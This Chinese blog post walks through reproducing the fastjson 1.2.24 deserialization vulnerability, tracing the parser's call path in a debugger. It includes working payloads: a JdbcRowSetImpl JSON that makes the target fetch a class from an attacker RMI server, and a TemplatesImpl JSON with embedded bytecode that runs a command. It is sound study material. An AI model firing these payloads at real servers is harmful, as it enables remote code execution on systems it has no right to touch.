复现经典漏洞之fastjson漏洞复现
fastjson复现
环境搭建1.0
下载链接:https://raw.githubusercontent.com/yaofeifly/vulhub/master/fastjson/vuln/fastjson-1.0.war
直接tomcat跑起来就会有相关目录了,但由于无法debug,所以我找了第二个环境
环境搭建2.0
maven直接起,用的springboot。
复现版本
fastjson 1.2.24
jdk 1.8.0_102
tomcat-dp
漏洞利用方法
在我认知范围中有三种利用方法:
- JNDI注入,分为RMI和LDAP两种利用,RMI利用更为广泛
- TemplatesImpl,利用条件苛刻,jdk和fastjson低版本限定
- BasicDataSource,可内网利用
JNDI注入
利用版本
- 基于 rmi 的利用方式
适用 jdk 版本:JDK 6u132, JDK 7u122, JDK 8u113之前。 - 基于 ldap 的利用方式
适用 jdk 版本:JDK 11.0.1、8u191、7u201、6u211之前。 - 基于 BeanFactory 的利用方式
适用 jdk 版本:JDK 11.0.1、8u191、7u201、6u211以后。
利用前提:因为这个利用方式需要借助服务器本地的类,而这个类在 tomcat 的 jar 包里面,一般情况下只能在 tomcat 上可以利用成功。
exp
在VPS上直接用的工具起服务,GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)非常好用。
用到的其中一个exp,还有很多
1 | {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.80.128:1099/czyy8y", "autoCommit":true} |
重点不在这里,重点在下面的利用。
原理详情
当存在@type时,会自动调用对应对象的setxxx方法,比如:{"@type":"User","age":18}
,此时会调用User对象的setage方法。
但以JdbcRowSetImpl
为例,该类中的setdataSourceName可指定dataSourceName,进而在setAutoCommit中进行连接。而connect方法中调用了lookup方法。且其中的dataSourceName可控,所以造成了JNDI注入。
具体代码如下:
JdbcRowSetImpl的父类BaseRowSet的setDataSourceName方法
1 | public void setDataSourceName(String name)throws SQLException{ |
JdbcRowSetImpl类调用了一个connect方法获取数据库连接池:
1 | protected Connection connect()throws SQLException{ |
而在exp中,datasource被我们设置为了恶意的rmi,因此lookup方法会从rmi标识中获取RMI服务指定的恶意类Exp并加载,当lookup方法内部加载Exp类就会触发漏洞。
fastjson调用分析
在com.alibaba.fastjson.parser.DefaultJSONParse.parseObject()
的274行,key
被分割为我们传入的第一个键,即@type
,且对其进行了判断,如果为@type
且key不是不允许的特殊值,则进入276行的TypeUtils.loadClass
。
在TypeUtils.loadClass
返回类名,
回到DefaultJSONParse.parseObject
,进入ParserConfig
进入ParserConfig.getDeserializer
到279行this.getDeserializer
进入288行并向下执行,对类进行判断看是否在不允许的名单中
继续向下执行,在257行,获取了父类
从ParserConfig出来后,回到DefaultJSONParser292行,但到了293行,进入JavaBeanDeserializer.class
然后一直运行到593行,boolean match = this.parseField(parser, key, object, type, fieldValues);
进入parseField函数然后继续运行到798行,((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);
进入DefaultFieldDeserializer.class
的79行this.setValue(object, value);
最后进入FieldDeserializer.class
89行,按强制步入进行了invoke,如前面我们所说的,利用setSourceName设置了SourceName,如下:
继续走,会发现会再invoke一遍,此时设置了autocommit。
继续运行即可成功执行命令
最后的堆栈如下:
TemplatesImpl链
exp
exp.java
1 | import com.alibaba.fastjson.JSON; |
Test.java
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
将生成的字符串进行POST提交,即可触发漏洞,下面是弹计算器的poc
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHACEMACIAIwEACGNhbGMuZXhlDAAkACUBAARUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAoABAALAA0ADAAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABAAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABQADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABcACAAYAAwAAAAEAAEAFAABABUAAAACABY="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"} |
exp要求
在exp.java的路径修改为Test.java进行编译后的Test.class路径。
需要指定
commons-codec-xxx.jar
、commons-io-xxx.jar
和fastjson-1.2.24.jar
进行编译,网上教程很多,不过多赘述。
原理详情
fastjson在解析json的过程中,支持使用autoType
来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中有一个私有属性_bytecodes
,其部分方法会执行这个值中包含的Java字节码。
fastjson调用分析
其他都和上面差不多,都是在最后setValue然后invoke,不过值得注意的是,由于传入的bytecodes是array,所以会进入com.alibaba.fastjson.serializer.ObjectArrayCodec
的154行parser.parseArray(componentClass, array, fieldName);
->com.alibaba.fastjson.parser.DefaultJSONParser
的682行val = ((ObjectDeserializer)deserializer).deserialze(this, type, i);
->com.alibaba.fastjson.serializer.ObjectArrayCodec
的112行byte[] bytes = lexer.bytesValue();
,该函数会进行base64解码,并将值赋给bytes数组
,后面内容基本一致,再依次将_bytecodes
、_name
、_tfactory
、_outputProperties
进行了setValue之后利用invoke进行调用赋值。
重点在invoke之后:
关于进入TemplatesImpl之后的调用情况,这篇文章讲的很清楚:
https://paper.seebug.org/1274/#_5
最后堆栈如下:
复现注意
java sec code用springboot跑起来的话是被修复了的,原因在于parseObject函数缺少Feature值,而fastjson默认情况下是不会反序列化私有属性的,如果需要对私有属性进行反序列化,则需要在parseObject()函数添加一个属性Feature.SupportNonPublicField。
到了invoke出调试底层jdk代码的时候需要用强制步入,不然就直接没了
BasicDataSource链
我没有复现成功
但可以看看这篇文章:
https://www.cnblogs.com/nice0e3/p/14949148.html
版本更新
参考文章
Fastjson反序列化漏洞分析_kkagr的博客-CSDN博客_fastjson反序列化漏洞
fastjson中的jndi注入 - 云+社区 - 腾讯云 (tencent.com)
FastJson 反序列化漏洞利用的三个细节 - TemplatesImpl 利用链
- 本文作者: Sn1pEr
- 本文链接: https://sn1per-ssd.github.io/2021/10/14/fastjson1-2-24复现/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!